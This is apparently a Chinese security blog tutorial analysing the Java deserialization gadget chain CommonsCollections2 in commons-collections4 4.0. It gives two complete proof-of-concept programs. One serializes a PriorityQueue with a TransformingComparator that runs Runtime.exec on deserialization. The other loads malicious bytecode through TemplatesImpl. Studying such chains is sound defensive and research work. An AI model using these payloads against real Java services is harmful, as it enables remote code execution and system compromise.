Java反序列化漏洞(四)- CommonsCollections2链
在 commons-collections 4 中有两条链子是可以利用的分别是cc2 和 cc4 在4.0中InvokerTransformer这个类还是实现Serializable所以还可以序列化的,相比 commons collections 3 而且还多了TransformingComparator这个类,测试依赖版本 commons-collections4 4.0。
0x01 前置知识
PriorityQueue
PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。
因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。
PriorityQueue 支持反序列化,在重写的 readObject 方法中,将数据反序列化到 queue
中之后,会调用 heapify()
方法来对数据进行排序
heapify()
方法调用 siftDown()
方法,在 comparator 属性不为空的情况下,调用 siftDownUsingComparator()
方法
在 siftDownUsingComparator()
方法中,会调用 comparator 的 compare()
方法来进行优先级的比较和排序。
这样,反序列化之后的优先级队列,也拥有了顺序。
TransformingComparator
TransformingComparator 是触发这个漏洞的一个关键点,他将 Transformer 执行点和 PriorityQueue 触发点连接了起来。
TransformingComparator 看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 Tranformer 转换,再传递给 Comparator 比较。
TransformingComparator 初始化时配置 Transformer 和 Comparator,如果不指定 Comparator,则使用 ComparableComparator.<Comparable>comparableComparator()
。
在调用 TransformingComparator 的 compare
方法时,可以看到调用了 this.transformer.transform()
方法对要比较的两个值进行转换,然后再调用 compare 方法比较。
TemplatesImpl
TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,实现了 Serializable
接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class
,是一个 Class 类型的数组,数组里下标为_transletIndex
的类会在 getTransletInstance()
方法中使用 newInstance()
实例化。
而类中的 getOutputProperties()
方法调用 newTransformer()
方法,而 newTransformer()
又调用了 getTransletInstance()
方法。
而 getOutputProperties()
方法就是类成员变量 _outputProperties
的 getter 方法。
这就给了我们调用链,那 _class
中的类是否可控呢?看一下调用,发现在 readObject
、构造方法以及 defineTransletClasses()
中有赋值的动作。
其中 defineTransletClasses()
在 getTransletInstance()
中,如果 _class 不为空即会被调用,看一下 defineTransletClasses()
的逻辑:
首先要求 _bytecodes
不为空,接着就会调用自定义的 ClassLoader 去加载 _bytecodes
中的 byte[]
。而 _bytecodes
也是该类的成员属性。
而如果这个类的父类为 ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,就会将类成员属性的,_transletIndex
设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]
。如果父类不是这个类,将会抛出异常。
简单总结就是:
- TemplatesImpl 的属性
_bytecodes
存储了类字节码 - TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是 AbstractTranslet
- 在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码
0x02 攻击构造
看到了 Transformer 对象,那后面的攻击流程就容易理解了,还是使用 ChainedTransformer 调用 InvokerTransformer 来触发恶意操作。
最终的恶意代码为:
public static String fileName = "CC2WithChain.bin";
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
// 初始化 Transformer
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}));
TransformingComparator comparator = new TransformingComparator(chain);
// 在初始化时不带入 comparator,而是
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
这里需要注意的是,在初始化 PriorityQueue 时没有指定 comparator,而是使用反射写入,这是为了避免在向 queue 中添加内容时触发排序而导致触发恶意 payload。
ysoserial 的 CC2 没有使用 ChainedTransformer,而直接使用了 InvokerTransformer 配合 TemplatesImpl 直接加载恶意类的 bytecode。
触发逻辑为:
- 创建恶意的 TemplatesImpl 对象,写入
_bytecodes
、_nam
e 属性,完成调用 newTransformer 方法触发恶意类的实例化的条件。 - 创建 PriorityQueue,由于 TemplatesImpl 不是 Comparable 对象,需要反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中。
- 使用 InvokerTransformer (调用被装饰对象的 newTransformer 方法)创建 TransformingComparator ,并将其赋予到 PriorityQueue 中。
最终的恶意代码为:
public static String fileName = "CC2WithTemplatesImpl.bin";
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// 读取恶意类 bytes[]
InputStream inputStream = CC2WithTemplatesImpl.class.getResourceAsStream("EvilClassForCC2.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "sanshi");
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
// 这个类是 public 的,方便调用
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
0x03 总结
以上就是 CC2 链分析的全部内容了,最后总结一下。
1.利用说明
- 利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点,为其指定 TransformingComparator 排序方法,并在其中为其添加 Transforer,与 CC1 类似,主要的触发位置还是 InvokerTransformer。
2.Gadget 总结:
- kick-off gadget:
java.util.PriorityQueue#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
- chain gadget:
org.apache.commons.collections4.comparators.TransformingComparator#compare()
3.调用链展示:
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
4.依赖版本:
commons-collections4 : 4.0
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!